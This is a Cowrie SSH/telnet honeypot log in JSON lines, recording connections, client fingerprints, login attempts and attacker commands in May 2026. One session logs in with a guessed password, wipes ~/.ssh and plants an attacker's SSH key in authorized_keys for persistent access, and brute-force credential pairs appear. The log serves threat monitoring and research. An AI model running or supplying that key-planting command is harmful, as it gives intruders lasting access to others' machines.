{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":21572,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0abb2c0bdae","protocol":"ssh","message":"New connection: 194.59.206.2:21572 (10.17.0.5:22) [session: d0abb2c0bdae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:23.769711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:23.802863Z","src_ip":"194.59.206.2","session":"d0abb2c0bdae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:23.872497Z","src_ip":"194.59.206.2","session":"d0abb2c0bdae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:24.010853Z","src_ip":"194.59.206.2","session":"d0abb2c0bdae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:33.577773Z","src_ip":"47.239.15.75","session":"015a407bbfda","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:34.278028Z","src_ip":"185.71.233.73","session":"abff1accf1e5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"admin","message":"CMD: admin","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:35.331723Z","src_ip":"185.71.233.73","session":"abff1accf1e5","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"admin ","message":"Command not found: admin ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:35.336447Z","src_ip":"185.71.233.73","session":"abff1accf1e5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:37.206625Z","src_ip":"185.71.233.73","session":"005714211d54","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"admin","message":"CMD: admin","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:38.194448Z","src_ip":"185.71.233.73","session":"005714211d54","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"admin ","message":"Command not found: admin ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:38.198281Z","src_ip":"185.71.233.73","session":"005714211d54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34512,"dst_ip":"10.17.0.5","dst_port":23,"session":"881e5cc33b2c","protocol":"telnet","message":"New connection: 45.58.127.90:34512 (10.17.0.5:23) [session: 881e5cc33b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:43.509619Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34526,"dst_ip":"10.17.0.5","dst_port":23,"session":"0da52c3dce45","protocol":"telnet","message":"New connection: 45.58.127.90:34526 (10.17.0.5:23) [session: 0da52c3dce45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:43.709426Z"}
{"eventid":"cowrie.session.closed","duration":39.06931948661804,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:50.195987Z","src_ip":"45.58.127.90","session":"d448ebfba174","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","size":718,"shasum":"54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","duplicate":true,"duration":"34.4","message":"Closing TTY Log: var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a after 34.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:51.377918Z","src_ip":"185.71.233.73","session":"abff1accf1e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"37.4","message":"Connection lost after 37.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:51.636549Z","src_ip":"185.71.233.73","session":"abff1accf1e5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","size":718,"shasum":"54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","duplicate":true,"duration":"35.0","message":"Closing TTY Log: var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a after 35.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:54.226084Z","src_ip":"185.71.233.73","session":"005714211d54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"37.0","message":"Connection lost after 37.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:54.450400Z","src_ip":"185.71.233.73","session":"005714211d54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":55146,"dst_ip":"159.203.135.109","dst_port":22,"session":"df4b9fdbf87a","protocol":"ssh","message":"New connection: 98.70.48.241:55146 (159.203.135.109:22) [session: df4b9fdbf87a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:55.443795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:55.449495Z","src_ip":"98.70.48.241","session":"df4b9fdbf87a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:55.643593Z","src_ip":"98.70.48.241","session":"df4b9fdbf87a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"121212","message":"login attempt [oracle/121212] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:56.450652Z","src_ip":"98.70.48.241","session":"df4b9fdbf87a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:56.879588Z","src_ip":"98.70.48.241","session":"df4b9fdbf87a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:56.882989Z","src_ip":"98.70.48.241","session":"df4b9fdbf87a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:56.886460Z","src_ip":"98.70.48.241","session":"df4b9fdbf87a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:57.083508Z","src_ip":"98.70.48.241","session":"df4b9fdbf87a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:57.510103Z","src_ip":"98.70.48.241","session":"df4b9fdbf87a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:57.513713Z","src_ip":"98.70.48.241","session":"df4b9fdbf87a","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:57.712922Z","src_ip":"98.70.48.241","session":"df4b9fdbf87a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:57.717425Z","src_ip":"98.70.48.241","session":"df4b9fdbf87a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":55150,"dst_ip":"159.203.135.109","dst_port":22,"session":"3eb4b12f247f","protocol":"ssh","message":"New connection: 98.70.48.241:55150 (159.203.135.109:22) [session: 3eb4b12f247f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:57.887024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:57.892348Z","src_ip":"98.70.48.241","session":"3eb4b12f247f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:58.075490Z","src_ip":"98.70.48.241","session":"3eb4b12f247f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:58.839099Z","src_ip":"98.70.48.241","session":"3eb4b12f247f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:14:00.028483Z","src_ip":"98.70.48.241","session":"3eb4b12f247f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":40852,"dst_ip":"159.203.135.109","dst_port":22,"session":"0aeb98ee264d","protocol":"ssh","message":"New connection: 98.70.48.241:40852 (159.203.135.109:22) [session: 0aeb98ee264d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:14:00.211708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:14:00.218099Z","src_ip":"98.70.48.241","session":"0aeb98ee264d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:14:00.511559Z","src_ip":"98.70.48.241","session":"0aeb98ee264d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:14:01.258702Z","src_ip":"98.70.48.241","session":"0aeb98ee264d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:14:01.450025Z","src_ip":"98.70.48.241","session":"0aeb98ee264d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:14:01.455220Z","src_ip":"98.70.48.241","session":"df4b9fdbf87a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":54670,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0e48460ebcf","protocol":"telnet","message":"New connection: 45.58.127.90:54670 (10.17.0.5:23) [session: c0e48460ebcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:14:05.968311Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.98.75","src_port":38128,"dst_ip":"159.203.135.109","dst_port":23,"session":"f81c47d18326","protocol":"telnet","message":"New connection: 157.49.98.75:38128 (159.203.135.109:23) [session: f81c47d18326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:14:17.643611Z"}
{"eventid":"cowrie.session.closed","duration":39.95102667808533,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:14:23.460491Z","src_ip":"45.58.127.90","session":"881e5cc33b2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55960,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ef033b4e1c5","protocol":"telnet","message":"New connection: 45.58.127.90:55960 (10.17.0.5:23) [session: 4ef033b4e1c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:14:24.629174Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.40","src_port":48118,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9cbd88cbfd5","protocol":"ssh","message":"New connection: 31.57.216.40:48118 (10.17.0.5:22) [session: c9cbd88cbfd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:14:25.275633Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:14:25.281289Z","src_ip":"31.57.216.40","session":"c9cbd88cbfd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.40","src_port":48128,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f8153b64741","protocol":"ssh","message":"New connection: 31.57.216.40:48128 (10.17.0.5:22) [session: 6f8153b64741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:14:25.431863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:14:25.440633Z","src_ip":"31.57.216.40","session":"6f8153b64741","protocol":"ssh"}
